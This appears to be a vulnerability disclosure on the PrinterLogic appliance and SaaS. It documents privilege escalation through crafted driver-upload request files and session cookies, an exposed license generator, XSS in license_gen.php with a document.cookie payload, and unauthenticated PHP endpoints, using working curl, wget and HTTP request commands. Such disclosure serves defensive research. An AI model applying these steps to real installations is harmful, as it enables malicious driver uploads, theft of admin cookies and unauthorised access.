6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 3 hours ago Up 3 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
PID USER TIME COMMAND
1 root 0:48 ./cloud-print-printer-gw
f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
PID USER TIME COMMAND
1 root 0:06 api
9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead
PID USER TIME COMMAND
1 root 0:01 /usr/local/bin/identity_api
0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
PID USER TIME COMMAND
1 root 0:00 /opt/api
bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
PID USER TIME COMMAND
1 root 0:01 off-network-app
e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
PID USER TIME COMMAND
1 root 0:00 npm
25 root 0:35 node ./src/server.js
5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
PID USER TIME COMMAND
1 root 0:00 npm
23 root 0:00 npm
38 root 0:00 [node]
88 root 0:05 node runParallel.js runRestApiServer.js runPollingProxy.js
94 root 1:08 /usr/local/bin/node /var/www/app/runRestApiServer.js
99 root 0:32 /usr/local/bin/node /var/www/app/runPollingProxy.js
a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
PID USER TIME COMMAND
1 root 0:01 off-network-app
317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
PID USER TIME COMMAND
1 root 0:00 npm run start
63 root 0:22 node bin/src/server.js
a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
PID USER TIME COMMAND
1 root 0:00 npm
19 root 0:00 [node]
69 root 0:00 [node]
108 root 0:07 node runRestApiServer.js
5318 root 0:00 ps -a
022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 3 hours cicd_hive_1
PID USER TIME COMMAND
1 root 0:02 hive monitor
Running everything as root is dangerous - vulnerability inside a service may be used by the attacker to move laterally and compromise the host.
Using a local user account, it is possible to elevate the privileges to admin privileges.
Using these admin privileges, it is possible to do a lot of administrative tasks on the solution.
As an example, I will show how to use this weakness to upload malicious driver packages to the remote server.
Creation of a user user
without admin privileges:
Local user without administrator privileges
Local user without administrator privileges
Using this account, it is possible to login into /admin/
. Even if the workspace is empty, the session cookies have administrator privileges:
Logged as user inside /admin/
On the SaaS installation, this vulnerability is also present. A user test-user
has been created and he is able to login to https://[redacted].prrintercloud10.com/admin/index.php:
Logged as user
test-user
inside /admin/
in the SaaS version
The session cookies of the normal user obtained by login into /admin/
can be then used to upload new drivers into the system.
Using Burp, I extracted the session cookies for the user
logged in /admin/
:
Session cookies of a normal user
Crafting a custom upload request to be used by the PrinterLogic client under Linux/MacOS.
File to be placed inside /opt/PrinterInstallerClient/tmp/requests/1-1
:
1 UPLOAD_DRIVER
2 base64(protocol)
3 base64(domain_name||ip)
4 base64("/")
5 base64(PHPSESSID=VALUE;XSRF-TOKEN=VALUE;laravel_session=VALUE;)
6
7 base64("1")
I created a custom valid request file by transforming the previous cookies into acceptable data by the PrinterLogic client running on the test laptop (no LF characters, no space, trailing ";" at the end of the line, no url-encoded characters):
Valid Cookies to be used by the PrinterLogic Client:
kali% cat cookies.txt
PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63; XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0%3D; laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0%3D
kali% echo -n $(cat cookies.txt | sed -e 's# ##g;s#%3D#=#g');echo ';'
PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;
kali% echo -n 'PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;' | base64 -w0
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=
The resulting file is shown. The data contained in base64 must not contain LF (line feed) character to be valid.
File to be used with the PrinterLogic Client:
UPLOAD_DRIVER
aHR0cDo= base64(http)
MTAuMTA1LjAuMjQx base64(10.105.0.241)
Lw== base64(/)
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=
MQ== base64(1)
"Sending" the request to the PrinterLogic client:
kali% cp test-req /opt/PrinterInstallerClient/tmp/requests/1-1
The GUI will appear on the local machine:
Upload of a driver
Using Burp, we can confirm the upload is done:
Upload of a driver
From the logs on the client, we can confirm the upload was successful:
2022-02-03 04:14:55,175 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/1-1' 2022-02-03 04:14:55,177 (INFO): Received request: UPLOAD_DRIVER 2022-02-03 04:14:55,177 (INFO): Creating task: Command: 'UPLOAD_DRIVER' Arguments: http:,10.105.0.241,/,PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;,,1 User ID: 1000 Group ID: 1000 Use UI: True Origin: 'PLUGIN' 2022-02-03 04:14:55,178 (DEBUG): Checking if home URL should be changed to: http://10.105.0.241/ 2022-02-03 04:14:55,179 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date) 2022-02-03 04:14:55,339 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:14:55,339 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:14:55,339 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:14:55,480 (DEBUG): Current cached copy of clientsettings.dat is up-to-date, using local version 2022-02-03 04:14:55,481 (INFO): The home URL is already set to: http://10.105.0.241/ 2022-02-03 04:14:55,486 (DEBUG): Getting driver paths and annotation from GUI 2022-02-03 04:15:29,901 (DEBUG): Selected in the GUI: ['/usr/share/ppd/cupsfilters/pxlcolor.ppd'], upload with 'user' credentials 2022-02-03 04:15:29,901 (DEBUG): Uploading drivers to the database 2022-02-03 04:15:29,990 (DEBUG): Found driver components ['/usr/lib/cups/filter/gstopxl'] 2022-02-03 04:15:29,999 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:15:29,999 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:15:29,999 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:15:30,359 (DEBUG): Attempting to open: http://10.105.0.241/client/gateway.php?confirmupload=1&uploadid=22&packagetype=LINUX&oslist=61&printprocess=&driverdate=09/06/2021&driverversion=1.1&make=HP&modelname=HP%20Color%20LaserJet%20Series%20PCL%206&annotation=upload%20with%20%27user%27%20credentials&inffile=/usr/share/ppd/cupsfilters/pxlcolor.ppd 2022-02-03 04:15:30,360 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:15:30,360 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:15:30,360 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:15:31,520 (INFO): Done with request: UPLOAD_DRIVER 2022-02-03 04:15:31,521 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response
Using the admin credentials, we can confirm the drivers have been uploaded without admin credentials:
Listing of uploaded drivers
The current driver is listed as compatible with Linux only - using Burp to replay HTTPS requests, it is possible to change the OS:
Listing of uploaded drivers with different OS
The upload is in a 3-step sequence:
1.Getting an upload slot ID:
POST /client/uploadgateway.php HTTP/1.1
needhandle=1&description=Reupload+using+burp&totalsize=3976&totalfragments=1
This API will then provide an upload slot ID used for the next HTTP request.
2.Uploading the content:
POST /client/uploadgateway.php HTTP/1.1
uploadid=26&fragment=0&fragmentsize=sizeof(base64(data))data=base64(data)
3.Configuring the driver:
GET /client/gateway.php?confirmupload=1&uploadid=26&packagetype=NORMAL&oslist=10&printprocess=&driverdate=09%2F06%2F2021&driverversion=1.1&make=HP&modelname=HP+Color+LaserJet+Series+PCL+6&annotation=upload+with+%27user%27+credentials&inffile=%2Fusr%2Fshare%2Fppd%2Fcupsfilters%2Fpxlcolor.ppd HTTP/1.1
The oslist
value allows the attacker to specify the target OS.
To be valid, these requests require either the Authorization: Bearer KEY
or the x-printerlogic-auth: Bearer KEY
headers. These keys appear to be unique for each client installation. To be sure that this exploitation has worked, I reinstalled a dedicated Linux machine with PrinterLogic Client and used the specific user1 user with normal privileges (non-administrator). This machine was never used to reach the server as admin or do any action on the remote server using admin cookies.
In this case, the headers were specific to this machine and the upload also worked:
Upload request
This authorization code appears to come from the /opt/PrinterInstallerClient/configuration.json
configuration file, in the tokens hashtable - this value is specific to each installation of the client and is set during the initial configuration of the client (this may require a temporary registration code).
Token value from the configuration file (before decoding):
21 "tokens": {
22 "null": null,
23 "http://10.105.0.241/": "b'\\xa5A\\xf2\\xb7\\xf8\\x10\\xb1\\x01\\xf6P\\xba\\xb8(K\\xae\\xa7\\xea\\xc2\\xb0eC\\xff[\\xcd\\xa2e\\xe6p\\xb9j\\xe1\\x1egH\ \xd4\\xea\\xcc!\\x07\\x9d'"
24 },
The upload also worked for user1
:
Upload from user1 from a dedicated machine never linked to any PrinterLogic admin activity
There are 2 verifications done by the upload process:
admin
cookies when visiting /admin/
)There is also a race condition between the first and the second upload requests - when an administrator is uploading a driver, another user with admin privileges can upload malicious drivers by brute-forcing the upload slot id in the second http request: the upload mechanism is not linked to a specific administrator's session but only uses the public upload slot id.
It was not possible to exploit this race condition from a user without cookies with elevated privileges (using the cookies retrieving when login to http://printerlogic-url/).
When using local
users, the appliance/SaaS is vulnerable to privilege escalation, allowing to compromise drivers.
Installations using Azure Single Sign On authentication are secure because the authentication is blocked by Microsoft and doesn't reach the PrinterLogic server.
The custom encryption
algorithm to generate license key is very weak and can be easily bypassed.
Furthermore, the appliance provides a working licence generator located in /var/www/app/license_gen.php
.
The code contains XSS in lines 117 and 253:
1 <?php [...] 60 function rs($n,$def="",$n2="") { 61 if(!isset($_REQUEST[$n])) { 62 if(empty($n2)||(!isset($_REQUEST[$n2]))) { 63 return $def; 64 } else return $_REQUEST[$n2]; 65 } else return $_REQUEST[$n]; 66 } [...] 114 function fd($n) { 115 if(empty($n)) return ""; 116 $res=_fd($n); 117 if($res===false) die("The date specified '$n' could not be parsed."); // [1] XSS with $n 118 return $res; 119 120 } [...] 248 <?php 249 if($needconfirm) { 250 echo "<font style='color: red'> 251 THE DATE YOU SPECIFIED IS QUESTIONABLE, 252 ARE YOU REALLY SURE THATS WHAT YOU MEANT TO PUT IN THERE?<br/><br/> 253 I PARSED IT AS: ".fd(rs('expiry'))." </font><br /><div>"; // [2] XSS with rs('expiry') 254 } 255 ?>
The value rs("expiry")
comes from $_REQUEST["expiry"]
. The value must respect some conditions in _fd()
(related to the length on line 90, not shown) to exploit the XSS on line 253.
An incorrect value will be shown without being escaped using die()
, allowing the XSS on line 117. It is recommended to escape the value of rs("expiry")
on line 253 and to patch the line 117.
In other parts of the files, there are also XSS because the PHP code used htmlentities()
to escape HTML. It is still possible to inject single quotes and add JavaScript. For example, in lines 261 and 289.
XSS in license_gen.php
:
1 <?php [...] 261 echo "<input type='hidden' value='".htmlentities(rs('expiry'))."' name='confirm' />"; [...] 289 <input name="expiry" type="text" value="<?php echo htmlentities(fd(rs('expiry'))); ?>" /><br /> [...]
A PoC has been provided using the PHP code from license_gen.php
:
Content of test.php
:
1 <?php 2 function rs($n,$def="",$n2="") { 3 if(!isset($_REQUEST[$n])) { 4 if(empty($n2)||(!isset($_REQUEST[$n2]))) { 5 return $def; 6 } else return $_REQUEST[$n2]; 7 } else return $_REQUEST[$n]; 8 } 9 10 echo "<input type='hidden' value='".htmlentities(rs('expiry'))."' name='confirm' />"; 11 12 ?>
When bla'%20onload='alert(document.cookie)
is injected, there is a XSS:
kali% curl "http://127.0.0.1/test.php?expiry=bla'%20onload='alert(document.cookie)"
<input type='hidden' value='bla' onload='alert(document.cookie)' name='confirm' />
license_gen.php
contains 13 XSS with htmlentitites()
.
The script also works and provides valid licenses:
An attacker may use this license generator file to steal cookies of administrators.
A huge number of webpages are directly reachable outside regular PHP routes.
This allows an attacker to bypass authentication mechanism.
For example, http://target/admin/design/role_description.php
is freely reachable:
kali% curl http://10.105.0.241/admin/design/role_description.php
<div style="margin: 8px;">
<h1>Administrative Roles</h1>
<h2>Root</h2>
<h3>The root user has all permissions.</h3>
<br />
<h2>Administrator:</h2>
<h3>Administrators have all permissions except permission to change the root user password.</h3>
<br />
<h2>Manager:</h2>
<h3>Managers have permissions to do the following:</h3>
<ul><li>View and export all print job audit records.</li>
<li>Add, delete, and edit printer objects the user has been given permission to manage</li>
<li>Add, delete, and edit folder objects the user has been given permission to manage</li>
<li>Edit printer General, Port, Drivers, Deploy, Portal Security settings</li>
<li>Edit folder General and Portal Security tab settings</li>
<li>Add drivers to the driver/profile repository</li>
<li>Delete drivers from the driver/profile repository if the driver is only associated to printers the user has been given permission to manage</li>
<li>Replace drivers in the driver/profile repository if the driver is only associated to printers the user has been given permission to manage</li>
<li>Add profiles to the driver/profile repository</li>
<li>Delete profiles from the driver/profile repository if the profile is only associated to printers the user has been given permission to manage</li>
<li>Edit profiles in the driver/profile repository if the profile is only associated to printers the user has been given permission to manage</li>
<li>Add, delete, and edit IP address range objects the user has been given permission to manage</li>
<li>Edit IP Address range General and Deploy tab settings</li></ul>
<br />
<h2>Deployer:</h2>
<h3>Deployers have permissions to do the following:</h3>
<ul><li>Edit deploy tab settings of printer or IP address range objects the user has been given permission to manage</li></ul>
</div>
kali%
Other pages will provide path disclosure, e.g. /console_release/km/OpenAPI.php
:
kali% curl http://10.105.0.241/console_release/km/OpenAPI.php
<br />
<b>Warning</b>: Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in <b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>: require_once(ABSPATHlib/dao/my_sql/data_access.php): failed to open stream: No such file or directory in <b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line <b>3</b><br />
<br />
<b>Fatal error</b>: require_once(): Failed opening required 'ABSPATHlib/dao/my_sql/data_access.php' (include_path='.:/usr/local/lib/php') in <b>/var/www/app/public/console_release/km/OpenAPI.php</b> on line <b>3</b><br />
When reaching some pages, we can get PHP errors in the appliance - some code is executed because there is no authentication but there are PHP errors (undefined variables) during the execution. Some of the code is supposed to be included in other PHP files.
Testing reachable PHP files in the /admin/design/reports
directory:
kali% for i in chart_image.php global.php overview_application_usage.php overview_color.php overview_environmental.php overview_main.php overview_page_count.php overview_paper_size.php overview_popup.php overview_pull_printing.php overview_summary.php overview_time_of_day.php overview_total_per_week.php print_job_folder.php print_job_others.php print_job_records.php print_job_user_manager_department_printer.php; do wget http://10.105.0.241/admin/design/reports/$i;done
Some PHP errors will be produced on the server:
Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} []
Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} []" while reading response header from upstream, client: 172.17.130.44, server: ~^(?<subdomain>[^.]+)\..*$, request: "GET /admin/design/reports/overview_application_usage.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php-fpm.sock:", host: "10.105.0.241"
Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_color.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4795729321180279321 dd.span_id=4795729321180279321] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_color.php:12)"} []
Feb 1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR:
[...]
The console_release
directory completely lacks authentication in several webpages:
kali% curl -k 'http://10.105.0.241/console_release/common/validate_user.php?license_check=1&printerId=4'
[{"pull_printer":null,"global_pull_printer":0,"app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":0,"full_binding":0,"binding":1}]
This can be verified in the SaaS version of Printerlogic:
kali% curl -kv 'https://[redacted].printercloud10.com/console_release/common/validate_user.php?license_check=1&printerId=4'
[{"pull_printer":null,"global_pull_printer":"0","app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":"0","full_binding":1,"binding":0}]
These pages are also freely available in the SaaS version, for example, it is possible to retrieve all the versions of Docker instances without authentication by visiting https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php
:
kali% curl -kv https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php | grep server-info <div class="server-info-head"> <table class="server-info-about-header default-table"> <div class="server-info-version">Version</div> <div class="server-info-release">Released</div> <td width="60%" class="server-info-pad-prem">Windows</td> <td width="20%" class="server-info-pad-pc">25.0.0.587</td> <td class="server-info-pad-prem">Mac OS X</td> <td class="server-info-pad-pc">25.1.0.556</td> <td class="server-info-pad-prem">Linux (Debian/Ubuntu)</td> <td class="server-info-pad-pc">25.1.0.556</td> <td class="server-info-pad-prem">Red Hat Linux</td> <td class="server-info-pad-pc">25.1.0.556</td> <td class='server-info-pad-prem'>API Gateway Microservice</td> <td class='server-info-pad-pc'>1.212.2</td> <td class='server-info-pad-prem'>Authentication Microservice</td> <td class='server-info-pad-pc'>1.0.268</td> <td class='server-info-pad-prem'>Badge Reader Microservice</td> <td class='server-info-pad-pc'>1.0.62</td> <td class='server-info-pad-prem'>Control Panel Platform UI</td> <td class='server-info-pad-pc'>1.81.3</td> <td class='server-info-pad-prem'>External Badge Connector Microservice</td> <td class='server-info-pad-pc'>1.0.34</td> <td class='server-info-pad-prem'>IDP Integrations Microservice</td> <td class='server-info-pad-pc'>1.0.6</td> <td class='server-info-pad-prem'>Identity Microservice</td> <td class='server-info-pad-pc'>v1.0.88</td> <td class='server-info-pad-prem'>Print Queue Microservice</td> <td class='server-info-pad-pc'>5.0.124</td> <td class='server-info-pad-prem'>PrinterInstaller</td> <td class='server-info-pad-pc'>5.0.6607</td> <td class='server-info-pad-prem'>QMS Microservice</td> <td class='server-info-pad-pc'>1.0.124</td> <td class='server-info-pad-prem'>SCIM Microservice</td> <td class='server-info-pad-pc'>1.0.9</td> <td class='server-info-pad-prem'>Snmp Custom Data Microservice</td> <td class='server-info-pad-pc'>N/A</td> <td class='server-info-pad-prem'>Tree Microservice</td> <td class='server-info-pad-pc'>1.0.57</td> <td class='server-info-pad-prem'>User Microservice</td> <td class='server-info-pad-pc'>5.188.0</td> <td class='server-info-pad-prem'>API Keys UI</td> <td class='server-info-pad-pc'>0.1.4</td> <td class='server-info-pad-prem'>QR Code UI</td> <td class='server-info-pad-pc'>0.1.5</td> <td class='server-info-pad-prem'>Quota Management UI</td> <td class='server-info-pad-pc'>1.1.187</td>
The console_release
directory also contains multiple pages reachable without authentication:
http://10.105.0.241/console_release/toshiba/console.php?printer_id=1
http://10.105.0.241/console_release/xerox/console.php?printer_id=1
http://10.105.0.241/console_release/samsung/console.php?printer_id=1
http://10.105.0.241/console_release/km/console.php?printer_id=1
When reading codes inside console_release
, it is clear that the PHP code doesn't implement authentication:
Content of /var/www/app/console_release/toshiba/change_screens.php
:
1 <?php 2 3 namespace console_release\toshiba; 4 5 use Illuminate\Support\Facades\Log; 6 use PrinterLogic\Models\Printer; 7 8 require_once("global.php"); 9 require_once(ABSPATH . "console_release/toshiba/toshiba_soap_helper.php"); 10 11 $printer_id = requestint('printer_id', 0); 12 $token = urldecode(base64_decode(requeststr('token', ''))); 13 if ($printer_id != 0 && $token != '') { 14 try { 15 $printer = Printer::where('id', $printer_id)->first(); 16 $select_screen_response = select_screen($printer->host_address, $token, "Menu"); 17 Log::debug("Toshiba change_screens, select_screen_response = " . $select_screen_response); 18 $parser = xml_parser_create(); 19 xml_parse_into_struct($parser, $select_screen_response, $vals, $index); 20 xml_parser_free($parser); 21 Log::debug(print_r($vals, true)); 22 Log::debug(print_r($index, true)); 23 24 $logout_result = logout($printer_id, $token); 25 Log::debug("Toshiba change_screens, logout result:"); 26 Log::debug(print_r($logout_result, true)); 27 if (isset($index['SOAP-ENV:FAULT']) && isset($index['EXC:DESCRIPTION'])) { 28 Log::debug("error: " . $vals[$index['EXC:DESCRIPTION'][0]]['value']); 29 echo "fail"; 30 } else { 31 echo "success"; 32 } 33 } catch(Exception $ex) { 34 Log::debug("Toshiba change_screens, error: " . $ex->getMessage()); 35 echo "fail"; 36 } 37 }
The variables $token
and $printer_id
are attacker-controlled data and there is no authentication.
The select_screen
function is implemented in /var/www/app/console_release/toshiba/toshiba_soap_helper.php
and the execution flow goes to a HTTP/HTTPS request (without verification of SSL certificates) with attacker-controlled data sent to the printer in the function processCurl()
:
Content of /var/www/app/console_release/toshiba/change_screens.php
:
